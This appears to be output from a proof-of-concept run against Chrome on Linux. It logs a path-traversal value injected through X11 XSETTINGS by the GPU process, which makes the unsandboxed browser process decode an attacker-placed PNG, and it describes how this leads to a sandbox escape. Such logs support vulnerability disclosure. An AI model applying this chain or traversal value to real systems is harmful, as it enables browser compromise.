[*] launching chrome (X11) ...

============================================================
 POC-relevant log lines (full log: /tmp/chrome-poc.log)
============================================================
[2119:2119:0602/203136.634537:ERROR:ui/ozone/platform/x11/ozone_platform_x11.cc:379] [POC] GPU process took _XSETTINGS_S0; Net/IconThemeName="../../../../../../../../../../home/pocuser/Downloads"
[2088:2088:0602/203137.486508:ERROR:ui/gtk/gtk_ui.cc:560] [POC] browser-process gtk-icon-theme-name="../../../../../../../../../../home/pocuser/Downloads" GtkUi::GetIconForContentType("application/pdf") -> gdk-pixbuf will decode: /usr/share/icons/../../../../../../../../../../home/pocuser/Downloads/./application-pdf.png
[2088:2088:0602/203137.487423:ERROR:ui/gtk/gtk_ui.cc:560] [POC] browser-process gtk-icon-theme-name="../../../../../../../../../../home/pocuser/Downloads" GtkUi::GetIconForContentType("application/pdf") -> gdk-pixbuf will decode: /usr/share/icons/../../../../../../../../../../home/pocuser/Downloads/./application-pdf.png
============================================================

[+] SUCCESS: browser process resolved icon to attacker-controlled
    file under $HOME/Downloads via path-traversal in
    gtk-icon-theme-name set by the GPU process over XSETTINGS.
    gdk-pixbuf decoded that file inside the unsandboxed browser
    process. In a real attack the PNG would be a gdk-pixbuf/librsvg
    memory-corruption payload (browser-process RCE / sandbox escape).